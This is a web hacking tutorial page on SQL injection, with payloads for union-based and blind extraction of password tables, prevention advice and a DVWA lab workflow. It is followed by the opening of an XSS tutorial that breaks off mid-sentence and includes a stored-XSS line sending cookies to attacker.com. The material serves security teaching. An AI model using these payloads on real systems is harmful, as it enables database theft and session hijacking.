Back to Tutorials
INTERMEDIATE
Web Hacking

SQL Injection – From Discovery to Exploitation

Bb0dj0xJune 28, 2026 at 03:47 PM25 min read5 views
SQL Injection (SQLi) is a code injection technique where an attacker inserts malicious SQL statements into an application's input fields. When the application fails to properly sanitize user input before incorporating it into SQL queries, the attacker can manipulate database operations — reading, modifying, or deleting data they shouldn't have access to.
sql
sql injection
sqli

What is SQL Injection?


SQL Injection (SQLi) is a code injection technique where an attacker inserts malicious SQL statements into an application's input fields. When the application fails to properly sanitize user input before incorporating it into SQL queries, the attacker can manipulate database operations — reading, modifying, or deleting data they shouldn't have access to.


Types of SQL Injection


In-band SQLi uses the same channel for attack and data retrieval. This includes:

  • **Union-based SQLi** — leverages the `UNION` operator to combine results from the original query with results from injected queries.
  • **Error-based SQLi** — forces the database to produce error messages that reveal data.

  • Blind SQLi occurs when the application returns generic responses but differences in response behavior can be observed:

  • **Boolean-based blind** — inject conditions that alter the response (true vs false).
  • **Time-based blind** — use database delay functions (e.g., `SLEEP()`, `BENCHMARK()`) to infer truth values from response timing.

  • Out-of-band SQLi uses alternative channels (e.g., DNS, HTTP requests) to exfiltrate data when direct response is unavailable.


    Identifying SQL Injection


    Test every input vector — URL parameters, POST data, headers, cookies:


    ' OR '1'='1
    ' OR 1=1--
    " OR 1=1--
    ' UNION SELECT NULL--
    ' AND SLEEP(5)--

    Monitor for database errors, page content differences, and timing delays.


    Union-Based Exploitation


    First, determine the number of columns:


    ' ORDER BY 1--
    ' ORDER BY 2--
    ' ORDER BY 3--   # repeat until error

    Once column count is known, find string-compatible columns:


    ' UNION SELECT 'a',NULL,NULL--
    ' UNION SELECT NULL,'a',NULL--
    ' UNION SELECT NULL,NULL,'a'--

    Extract database metadata:


    ' UNION SELECT 1,schema_name,3 FROM information_schema.schemata--
    ' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='target_db'--
    ' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--

    Dump credentials:


    ' UNION SELECT 1,username,password FROM users--

    Blind Boolean-Based SQLi


    When no data is displayed but true/false conditions change the response:


    ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
    ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='b'--

    Repeat character by character. Automate with Python or sqlmap.


    Blind Time-Based SQLi


    When response content is always identical, use timing:


    ' IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(3), 0)--
    ' IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='b', SLEEP(3), 0)--

    Second-Order SQLi


    Malicious input is stored in the database and triggers later when used unsafely in another query. For example, registering a username like admin'-- that executes SQL when retrieved by the profile page.


    Prevention


  • **Prepared statements (parameterized queries)** — separate SQL logic from data.
  • **Stored procedures** with strict parameter definitions.
  • **Input validation** — whitelist expected patterns.
  • **Least privilege** — database users should have minimal permissions.
  • **WAF** — Web Application Firewall as defense-in-depth.

  • Lab Practice


    Set up a local vulnerable environment:


    docker pull vulnerables/web-dvwa
    docker run -d -p 80:80 vulnerables/web-dvwa

    Practice workflow:

    1. Intercept requests with Burp Suite.

    2. Fuzz parameters with ', ", \, ;.

    3. Confirm SQLi by injecting ' OR '1'='1' -- -.

    4. Determine column count with ORDER BY.

    5. Find string columns with UNION SELECT 'test'.

    6. Extract table/column names from information_schema.

    7. Dump credentials.

    8. Repeat with blind techniques (Boolean and time-based).

    9. Automate the process using sqlmap -u "http://target/page?id=1" --dbs.


    ---


    # Tutorial 2: Cross-Site Scripting (XSS) – Understanding and Exploiting Client-Side Attacks


    What is XSS?


    Cross-Site Scripting (XSS) is a client-side injection vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. Unlike SQLi which targets databases, XSS targets the browser — enabling session hijacking, defacement, phishing, keylogging, and data theft.


    Types of XSS


    Reflected XSS — the injected script is part of the request (e.g., URL parameter) and is immediately reflected in the response. The victim must click a crafted link.


    http://target.com/search?q=<script>alert('XSS')</script>

    Stored XSS — the payload is persistently stored on the server (e.g., in a comment, profile field, forum post) and served to every visitor.


    <script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>

    DOM-Based XSS — the vulnerability exists in client-side JavaScript that writes attacker-controlled data into the DOM unsafely.


    // Vulnerable
    document.getElementById('output').innerHTML = location.hash.substring(1);
    
    // Attacker visits: http://target.com/page#<img src=x onerror=alert(1)>

    Finding XSS


    Inject probe payloads into all input vectors:


    <script>alert(1)</script>
    "><script>alert(1)</script>
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    javascript:alert(1)
    '"><img src=x onerror=prompt(1)>

    Check contexts: HTML element content, HTML attributes, JavaScript string, CSS, URL.


    Bypassing Filters


    When basic